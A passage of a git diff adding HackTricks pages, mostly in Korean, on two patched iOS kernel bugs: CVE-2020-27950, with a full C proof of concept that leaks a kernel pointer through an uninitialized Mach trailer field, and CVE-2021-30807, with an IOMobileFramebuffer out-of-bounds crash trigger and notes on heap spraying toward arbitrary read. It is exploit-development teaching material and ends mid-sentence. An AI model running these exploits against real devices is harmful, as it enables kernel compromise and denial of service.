-์ด๋Ÿฌํ•œ ์›์‹œ ๊ธฐ๋Šฅ์„ ํ†ตํ•ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ์ œ์–ด๋œ **32๋น„ํŠธ ์ฝ๊ธฐ** ๋ฐ **64๋น„ํŠธ ์“ฐ๊ธฐ**๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ํƒˆ์˜ฅ ๋‹จ๊ณ„๋Š” ๋” ์•ˆ์ •์ ์ธ ์ฝ๊ธฐ/์“ฐ๊ธฐ ์›์‹œ ๊ธฐ๋Šฅ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ถ”๊ฐ€ ๋ณดํ˜ธ(์˜ˆ: ์ตœ์‹  arm64e ์žฅ์น˜์˜ PPL)๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..b04b4283e --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## ์ทจ์•ฝ์  + +You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary: + +์ปค๋„์ด ๋ฐ›๋Š” ๋ชจ๋“  Mach message๋Š” **"trailer"**๋กœ ๋๋‚ฉ๋‹ˆ๋‹ค: ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(seqno, sender token, audit token, context, access control data, labels...)๋ฅผ ๋‹ด๋Š” ๊ฐ€๋ณ€ ๊ธธ์ด struct์ž…๋‹ˆ๋‹ค. ์ปค๋„์€ ๋ฉ”์‹œ์ง€ ๋ฒ„ํผ์— **ํ•ญ์ƒ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€ ํฌ๊ธฐ์˜ trailer**(MAX_TRAILER_SIZE)๋ฅผ ์˜ˆ์•ฝํ•˜์ง€๋งŒ, **์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”**ํ•œ ๋‹ค์Œ, ๋‚˜์ค‘์— **์‚ฌ์šฉ์ž ์ œ์–ด receive ์˜ต์…˜**์— ๋”ฐ๋ผ ์–ด๋–ค trailer ํฌ๊ธฐ๋ฅผ ๋ฐ˜ํ™˜ํ• ์ง€ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค. + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +๊ทธ๋Ÿฐ ๋‹ค์Œ trailer ๊ฐ์ฒด๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”๋˜๊ณ , ์ตœ๋Œ€ trailer ํฌ๊ธฐ๋Š” ํ•ญ์ƒ ์˜ˆ์•ฝ๋ฉ๋‹ˆ๋‹ค: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +์˜ˆ๋ฅผ ๋“ค์–ด, `mach_msg()`๋ฅผ ์‚ฌ์šฉํ•ด Mach ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์œผ๋ ค๊ณ  ํ•  ๋•Œ ๋ฉ”์‹œ์ง€์— trailer๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด `ipc_kmsg_add_trailer()` ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ trailer ํฌ๊ธฐ๊ฐ€ ๊ณ„์‚ฐ๋˜๊ณ  ๋‹ค๋ฅธ ๋ช‡๋ช‡ trailer ํ•„๋“œ๋“ค์ด ์ฑ„์›Œ์ง‘๋‹ˆ๋‹ค: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +The `option` ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด์ด๋ฏ€๋กœ **`if` ๊ฒ€์‚ฌ์— ํ†ต๊ณผํ•˜๋Š” ๊ฐ’์„ ์ „๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.** + +์ด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๋ ค๋ฉด ์œ ํšจํ•˜๋ฉฐ ์ง€์›๋˜๋Š” `option`์„ ์ „์†กํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +ํ•˜์ง€๋งŒ `MACH_RCV_TRAILER_MASK`๊ฐ€ ๋‹จ์ง€ ๋น„ํŠธ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, `0`๊ณผ `8` ์‚ฌ์ด์˜ ์•„๋ฌด ๊ฐ’์ด๋‚˜ ์ „๋‹ฌํ•ด `if` ๋ฌธ ์•ˆ์œผ๋กœ ๋“ค์–ด๊ฐ€์ง€ ์•Š๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +๊ทธ ๋‹ค์Œ, ์ฝ”๋“œ ์ƒ์—์„œ ๊ณ„์† ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. + +If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. + +So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### Leak Kernel Address PoC + +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. + +Commetns were added for better understanding: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors โ†’ larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors โ†’ leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg โ†’ those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel โ€œcopy-insโ€ the userland port names (integers in your processโ€™s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU โ€œcopy-outsโ€ and converts those pointers back into names. This is explicitly documented in the copyout path: โ€œthe remote/local port fields contain port names instead of object pointersโ€ (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message โ†’ allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero โ†’ the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum โ†’ REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized โ†’ stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data โ†’ expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the Aโ†’D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size โ†’ total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## ์ฐธ๊ณ ์ž๋ฃŒ + +- [Synacktiv์˜ ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..06e9e61de --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,296 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## ์ทจ์•ฝ์  + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋Š” **IOMobileFramebuffer / AppleCLCD** user client์˜ **external method #83**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` ์ž…๋‹ˆ๋‹ค. ์ด ๋ฉ”์„œ๋“œ๋Š” ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š”๋ฐ ์ „ํ˜€ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉฐ ๋‹ค์Œ ํ•จ์ˆ˜๋กœ **`scalar0`**๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. + +- ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋Š” **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**๋กœ ์ „๋‹ฌ๋˜๋ฉฐ, ์—ฌ๊ธฐ์„œ **`scalar0`**(์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” **32-bit** ๊ฐ’)๋Š” ๋‚ด๋ถ€ **ํฌ์ธํ„ฐ ๋ฐฐ์—ด**์— ๋Œ€ํ•œ **์ธ๋ฑ์Šค**๋กœ ์‚ฌ์šฉ๋˜์ง€๋งŒ **๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ**๊ฐ€ ์ „ํ˜€ ์—†์Šต๋‹ˆ๋‹ค: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` โ†’ `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`๋กœ ์ „๋‹ฌ๋˜์–ด **`IOSurface*`**๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.\ +> **Result:** ๋ฐฐ์—ด์—์„œ **OOB pointer read & type confusion**๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํฌ์ธํ„ฐ๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์œผ๋ฉด ์ปค๋„ deref๊ฐ€ panicํ•˜์—ฌ โ†’ **DoS**. + +> [!NOTE] +> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process. + +## DoS PoC + +The following is the initial DoS PoC from the ooriginal blog post with extra comments: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** โ†’ OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// โ†’ IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## ์ž„์˜ ์ฝ๊ธฐ PoC ์„ค๋ช… + +1. **์ ์ ˆํ•œ user client ์—ด๊ธฐ** + +- `get_appleclcd_uc()`๋Š” **AppleCLCD** ์„œ๋น„์Šค๋ฅผ ์ฐพ์•„ **user client type 2**๋ฅผ ์—ฝ๋‹ˆ๋‹ค. AppleCLCD์™€ IOMobileFramebuffer๋Š” ๊ฐ™์€ external-methods ํ…Œ์ด๋ธ”์„ ๊ณต์œ ํ•˜๋ฉฐ; type 2๋Š” **selector 83**์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. **์ด๊ฒƒ์ด ๋ฒ„๊ทธ๋กœ ๋“ค์–ด๊ฐ€๋Š” ์ง„์ž…์ ์ž…๋‹ˆ๋‹ค.** E_POC/) + +**์™œ 83์ด ์ค‘์š”ํ•œ๊ฐ€:** ๋””์ปดํŒŒ์ผ๋œ ๊ฒฝ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +โ†’ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +โ†’ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +๋งˆ์ง€๋ง‰ ํ˜ธ์ถœ ๋‚ด๋ถ€์—์„œ, ์ฝ”๋“œ๋Š” **๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ ์—†์ด 32๋น„ํŠธ ์Šค์นผ๋ผ๋ฅผ ๋ฐฐ์—ด ์ธ๋ฑ์Šค๋กœ ์‚ฌ์šฉ**ํ•˜๊ณ , **`this + 0xA58 + index*8`**์—์„œ ํฌ์ธํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€ **`IOSurface*`๋กœ** `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. **๊ทธ๊ฒŒ OOB + ํƒ€์ž… ํ˜ผ๋™์ž…๋‹ˆ๋‹ค.** + +2. **ํž™ ์Šคํ”„๋ ˆ์ด (์™œ IOSurface๊ฐ€ ์—ฌ๊ธฐ์— ๋‚˜ํƒ€๋‚˜๋Š”๊ฐ€)** + +- `do_spray()`๋Š” **`IOSurfaceRootUserClient`**๋ฅผ ์‚ฌ์šฉํ•ด **๋งŽ์€ IOSurface๋ฅผ ์ƒ์„ฑ**ํ•˜๊ณ  **์ž‘์€ ๊ฐ’๋“ค๋กœ ์Šคํ”„๋ ˆ์ด(s_set_value ์Šคํƒ€์ผ)**ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ปค๋„ ํž™ ์ธ๊ทผ์„ **์œ ํšจํ•œ IOSurface ๊ฐ์ฒด๋“ค์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋“ค๋กœ ์ฑ„์›๋‹ˆ๋‹ค**. + +- **๋ชฉํ‘œ:** selector 83์ด ํ•ฉ๋ฒ• ํ…Œ์ด๋ธ”์„ ๋ฒ—์–ด๋‚˜ ์ฝ์„ ๋•Œ, **OOB ์Šฌ๋กฏ์— ๋‹น์‹ ์ด ๋งŒ๋“ (์‹ค์ œ) IOSurface ํฌ์ธํ„ฐ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋“ค์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ**์ด ์žˆ์–ด, ์ดํ›„ ์—ญ์ฐธ์กฐ๊ฐ€ **ํฌ๋ž˜์‹œ๋ฅผ ์ผ์œผํ‚ค์ง€ ์•Š๊ณ  ์„ฑ๊ณต**ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. IOSurface๋Š” ๊ณ ์ „์ ์ด๊ณ  ๋ฌธ์„œํ™”๋œ ์ปค๋„ ์Šคํ”„๋ ˆ์ด ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ์ด๋ฉฐ, Saar์˜ ํฌ์ŠคํŠธ๋Š” ์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ๋ฆ„์— ์‚ฌ์šฉ๋œ **create / set_value / lookup** ๋ฉ”์„œ๋“œ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. + +3. **"offset/8" ํŠธ๋ฆญ (๊ทธ ์ธ๋ฑ์Šค๊ฐ€ ์‹ค์ œ๋กœ ์˜๋ฏธํ•˜๋Š” ๊ฒƒ)** + +- `trigger_oob(offset)`์—์„œ๋Š” `scalars[0] = offset / 8`๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. + +- **์™œ 8๋กœ ๋‚˜๋ˆ„๋‚˜?** ์ปค๋„์€ **`base + index*8`**๋ฅผ ์ˆ˜ํ–‰ํ•ด ์–ด๋А **ํฌ์ธํ„ฐ ํฌ๊ธฐ ์Šฌ๋กฏ**์„ ์ฝ์„์ง€ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. ๋‹น์‹ ์€ ๋ฐ”์ดํŠธ ์˜คํ”„์…‹์ด ์•„๋‹ˆ๋ผ **"์Šฌ๋กฏ ๋ฒˆํ˜ธ N"**์„ ์„ ํƒํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. 64๋น„ํŠธ์—์„œ๋Š” **์Šฌ๋กฏ๋‹น 8๋ฐ”์ดํŠธ**์ž…๋‹ˆ๋‹ค. + +- ๊ณ„์‚ฐ๋œ ์ฃผ์†Œ๋Š” **`this + 0xA58 + index*8`**์ž…๋‹ˆ๋‹ค. PoC๋Š” ํฐ ์ƒ์ˆ˜(`0x1200000 + 0x1048`)๋ฅผ 